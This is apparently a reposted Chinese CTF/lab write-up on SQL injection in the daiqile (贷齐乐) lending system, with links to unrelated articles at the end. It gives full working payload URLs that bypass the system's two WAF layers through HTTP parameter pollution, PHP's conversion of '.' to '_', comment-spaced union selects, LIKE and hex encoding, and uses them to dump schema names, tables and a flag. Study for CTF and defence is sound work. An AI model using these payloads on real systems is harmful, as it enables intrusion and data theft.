贷齐乐系统最新版SQL注入(无需登录绕过WAF可union select跨表查询)

一、环境

已上传资源(daiqile)

二、代码解释

1.1Request

不管get请求还是post请求都可以接收到

1.2过滤的还挺多

 1.3第二个WAF把数据分为两个了一个Key一个value,全是explode的功劳

1.4submit是if进入的前提

 很明显走进来了

1.5那我们在这个前提下跟着传入id(结果如下)

 

检测一下字段:

http://127.0.0.1/daiqile/index.php?submit=aaaa&i_d=1%203--+

 

单引号闭合呢

 

下断看单引号走到哪里去了

好很明显被过滤掉了

而且这些字符被转为了中文,daabase(),information()等等括号都被废弃了

 

好了双重WAF很烦,第一重把特殊字符搞掉了,第二重把括号给咱转中文了

 那很难搞啊,我们想想有没有一种可能性,第一次WAF认为我是正常语句,第二个WAF可以覆盖,完蛋!!很难绕啊,这怎么可能,但是PHP有一个小特性,我们却可以利用,废话不多说看图

我的后端:

前端传两个id看一下 ,很明显PHP取的是后者

这点也被称之为hpp全局污染

 

取的第二个到底有什么用呢??哈哈哈大用可来了看好了

我们假设这样,我们有两个字段id=1' union select 1,2,3&id=2(恶意字符) ,后面我们是好好输入的,取第二个参数,所以第一个WAF过了,如果第二个WAF取的是我第一个参数,那不就好办了

再看个PHP特性,php可以将. ,转成下划线

很明显我前端传入

http://127.0.0.1/daiqile/index.php?submit=aaaa&i_d=1%27&i.d=2

不报错了 

在我后端看来我传的就是

i_d=1'&i_d=2222

 第一次进去:把我id放这里

第二次进去:

好了php特性传入的是i_d=1111'&i.d=22222

完美践行了我上面所说的思路,WAF检测的是2,而实际插入的数据库却是1 

ok实践插入语句吧(注意空格替换为/**/,前面有拦截)

http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,2,3,4&i.d=2

很明显注入点出现了,是2 

注入:不知道库名

http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from%20information_schema.tables/**/where/**/table_schema=%27%27&i.d=2

三、找库名

 information()下依然有库名的表,schemat

来库名

那我们刚才的单引号中就可以填东西了,好了出数据,但是出的是第一个库,在实际ctf比赛中,我们已经成功了,那接下来一个一个试呗

http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,SCHEMA_NAME,3,4/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=222

 好了,尝试成功:(很明显爆库了)

 四、库名出来注入表名

http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema=%27ctf%27/**/limit/**/12,1&i.d=222

不出数据为什么呢???等号被截断了(等号分割),单引号在前端是正常的但是传入后端会url编码为%27数据库不认识,那我们就需要替换了

 解决方法:使用like,单引号使用16进制

五、出表

http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=222

 

六、查字段

很明显,id。name,pass,flag

http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,10&i.d=222

七、查flag出数据:

http://127.0.0.1/daiqile/index.php?submit=aaa&i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=123

八、 总结

单引号过滤16进制

等号过滤可以用like

空格绕过可以用注释符 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/485157.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

31.云原生Istio可观测性之官网Bookinfo应用实战演示

云原生专栏大纲 文章目录 可观测性kiali介绍Overview(概观)Application(应用维度)workloads(负载维度)Services(服务维度)Istio Config(配置维度) Kiali部署…

后台的日志存储

日志乱象 日志是日常开发中最有可能被忽视,最容易被滥用的一个模块。被忽视是因为打日志实在是一个再简单不过的事,前人设计好了一个logback.xml,后面只需要依样画葫芦定义一个logger,随手一个info调用就搞定 ,他甚至…

【Linux】普通用户sudo失败怎么办

普通用户,sudo失败报错怎么办 问题分析如何解决成功 问题分析 新建的普通用户sudo失败 sudo提权,是以root的身份执行命令。 当我们用sudo提升权限的时候,这里有个问题,Linux会提示我们输入当前普通用户的密码——这就有点不好。…

【FreeRTOS基础入门】软件定时器

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、软件定时器的介绍1.1 软件定时器的特性1.2 软件定时器的特性1.3 守护任务 二、软件定时器的使用2.1 回调函数2.2 创建定时器创建动态定时器创建静态定时器 …

R语言实现分位数回归和二次分位数回归

大家好,我是带我去滑雪!新的一年,新的气象,在接下来的日子里我将继续和各位小伙伴们分享我在科研道路上,学习的一些知识! 分位数回归和二次分位数回归是统计学中用于分析因变量与自变量之间关系的方法&…

Android14 InputManager-InputManagerService环境的构造

IMS分为Java层与Native层两个部分,其启动过程是从Java部分的初始化开始,进而完成Native部分的初始化。 □创建新的IMS对象。 □调用IMS对象的start()函数完成启动 同其他系统服务一样,IMS在SystemServer中的ServerT…

c++ template-1

第一章 函数模版 1.1 初识模版 1.1.1定义模版 以下就是一个函数模板&#xff0c;它返回两个数之中的最大值&#xff1a; template<typename T> T max (T a, T b) { // 如果 b < a, 返回 a&#xff0c;否则返回 b return b < a ? a : b; } 模板参数是 typename T…

采用SSI技术的FPGA器件

9个关于SSI芯片的必知问题-腾讯云开发者社区-腾讯云 (tencent.com)https://cloud.tencent.com/developer/article/1530543

Docker硬件直通:如何在容器中高效利用GPU与硬盘资源

Docker硬件直通&#xff1a;如何在容器中高效利用GPU与硬盘资源 引言Docker基础容器与虚拟机的区别Docker的工作原理 访问服务器硬件资源概述为何需要在Docker容器中访问硬件资源可访问的硬件资源类型 在Docker中使用GPU配置Docker以使用宿主机的GPU资源安装NVIDIA Docker插件 …

【操作系统】磁盘存储空间的管理

实验5 磁盘存储空间的管理 一、实验目的 磁盘是用户存放程序和数据的存储设备&#xff0c;磁盘管理的主要目的是充分有效地利用磁盘空间。本实验模拟实现磁盘空间的分配与回收&#xff0c;使学生对磁盘空间的管理有一个较深入的理解。 二、实验内容 实验任务&#xff1a;用位…

企业计算机服务器中了crypt勒索病毒怎么办,crypt勒索病毒解密数据恢复

计算机服务器设备为企业的生产运营提供了极大便利&#xff0c;企业的重要核心数据大多都存储在计算机服务器中&#xff0c;保护企业计算机服务器免遭勒索病毒攻击&#xff0c;是一项艰巨的工作任务。但即便很多企业都做好的了安全运维工作&#xff0c;依旧免不了被勒索病毒攻击…

方法:Linux/Windows进程和端口如何相互求证

1. 问题描述 开发过程中&#xff0c;我们经常会遇到这样的情况&#xff1a; 服务A启动&#xff0c;提示端口被占用&#xff0c;导致服务无法正常工作&#xff0c;需要查看端口被哪个进程占用了。服务A启动&#xff0c;正常监听&#xff0c;等待连接、请求&#xff0c;但是第三…